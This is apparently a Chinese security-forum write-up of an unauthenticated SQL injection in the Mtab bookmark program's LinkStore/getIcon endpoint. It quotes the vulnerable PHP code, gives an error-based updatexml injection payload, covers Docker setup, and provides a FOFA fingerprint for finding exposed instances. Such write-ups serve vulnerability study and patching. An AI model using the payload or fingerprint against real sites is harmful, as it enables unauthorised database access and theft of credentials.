问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Mtab书签导航程序 SQL注入漏洞
本文分析了Mtab书签导航程序 SQL注入漏洞的原因以及拓展
Mtab书签导航程序 SQL注入漏洞 ================== 一、漏洞简介 ------ ### 1.1 产品介绍 ```tex Mtab书签导航程序 - 免费无广告的浏览器书签助手,多端同步、美观易用的在 线导航和书签工具,自主研发免费使用,帮助您高效管理 网页和应用,提升在线体验。 ``` ### 1.2 漏洞简介 ```php Mtab书签导航程序 LinkStore/getIcon 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 ``` 二、影响版本 ------ ```php version <= 2.1.0(最新版) ``` 三、漏洞原理分析 -------- 这个是开源应用,github.com上找到对应的应用源码 <https://github.com/tsxcw/mtab> 通过./public下面的index.php以及route.php可以判断出是使用thinkphp框架编写的,我们可以找到路由的配置 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f363e34050ee4eabeadcc743d715b5159080f82d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f4a5b088316adf3d4ccb90418471b32005b47ff8.png) 所以从漏洞的路由/LinkStore/getIcon 找到对应的漏洞源码在./controller/LinkStore.php中 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-b093146e5bbdfd949302ffa54791d44aba9598aa.png) ```php public function getIcon(): \think\response\Json //定义了一个名为 getIcon 的方法,返回类型Json。 { $url = $this->request->post('url', false); // 从POST请求中获取名为 url 的参数,如果不存在则返回 false。 if ($url) { //检查 url 是否存在,如果存在则继续执行。 if (mb_substr($url, 0, 4) == 'tab:') { //检查 url 是否以 tab: 开头,如果是,则进入该分支(此处为空),否则进入 else 分支 } else { if (mb_substr($url, 0, 4) != 'http') { //检查 url 是否以 http 开头,如果不是,则在前面加上 https://。 $url = 'https://' . $url; } $url = parse_url($url); //使用 parse_url 解析 url,将其分解为不同的组件。 $url = $url['host']; //只要url中的host } $data = LinkStoreModel::whereRaw("FIND_IN_SET('$url',domain)")->find(); //执行原始查询,查找域名包含 url 的记录 if ($data) { return $this->success('ok', $data); //返回查询到的数据 } } return $this->error('no', '未查询到相关信息'); } ``` 解析完这个段函数后,可以看到造成sql注入的语句其实就是 ```php LinkStoreModel::whereRaw("FIND_IN_SET('$url',domain)")->find(); ``` 那么我们仔细分析这句语句 LinkStoreModel 是一个继承自 ThinkPHP 框架中的 `think\Model` 类的模型类,用于与数据库中的 `linkstore` 表进行交互。通过继承 `think\Model`,它可以利用 ThinkPHP 提供的各种模型功能,如 CRUD 操作和关联关系定义。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-99d83dd60fcdea38d9df978b347576eca05dcb72.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-597882bcd92d0973c32e4a6653b271a076112282.png) **FIND\_IN\_SET** 是 MySQL 中的一个字符串函数,用于在一个以逗号分隔的字符串列表中查找一个特定的字符串。它的作用是检查某个字符串是否存在于由逗号分隔的字符串集合中,并返回字符串的位置索引。 **whereRaw** 的意思是允许直接在 SQL 查询中插入原始的 SQL 语句。它不会对传入的 SQL 语句进行任何额外的处理或转义,所以使用这个函数会造成sql注入。 这样的thinkphp框架查询语句我们也能翻译成如下的sql,url为我们可控制点 ```php SELECT * FROM linkstore WHERE FIND_IN_SET('url', domain); ``` 那么就可以构造报错注入的payload ```php 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1 ``` ==> ```php SELECT * FROM linkstore WHERE FIND_IN_SET('1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1', domain); ``` 四、环境搭建 ------ ### 4.1 源码部署 ```php 安装宝塔面板或phpstudy进行部署 https://www.bt.cn/new/download.html ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-6daad6fefe8c8a46b4d7045e4cb9ed69c4de98f3.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-5e3454eaa3ee9a0ed0498b21ac3907d022fe2d78.png) 安装完毕后,访问后台,部署需要的中间件环境,如php7.4 mysql、nginx、redis等 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-6f1e0724880533f56820e242b23f1eaed6ab58e3.png) 新增站点,上传github下载的源码,然后访问安装即可 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-92b8a61f51d21ff80918fa6b4631fe8bacdfb897.png) ### 4.2 Docker 部署 可参考github上作者给出的部署步骤与部署视频 镜像: itushan/mtab ```php 视频教程: https://www.bilibili.com/video/BV1ee411B7fY/ 部署命令: docker run -itd --name mtab -p 9200:80 -v /opt/mtab:/app itushan/mtab ``` ### 4.3 docker-compose 部署 创建docker-compose.yml,然后安装的目录执行`docker-compose up -d`即可 ```yaml version: '3' services: mtabServer: image: itushan/mtab container_name: mtabServer user: "${USER_ID}:${GROUP_ID}" ports: - "9200:80" volumes: - ./:/app restart: always ``` 五、漏洞复现 ------ ### 5.1 FOFA 指纹 ```php title="Mtab书签" ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-c435a135926b2977ed98c7d2fd3f5fdfec725a97.png) ### 5.2 报错注入复现 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f05df99e2825d9108ae23e3f18ec1825f09192e0.png) 六、总结与拓展 ------- 回顾此漏洞,用户输入的参数未校验然后带入thinkphp的orm框架的whereRaw方法导致 ```php “如果看到一只蟑螂,意味着可能还有更多蟑螂在你看不到的地方。” ``` 如果我们全局搜索whereRaw看看有没有同类型的问题,可能会有意想不到的收获 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-754ab809cb8216b3683a26ebc99121889b0edbb6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ea9d5e82ed6ad43ff50c5cb4cb0157883ab03b4d.png)
发表于 2024-08-28 09:50:34
阅读 ( 2406 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
chenshiyi
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!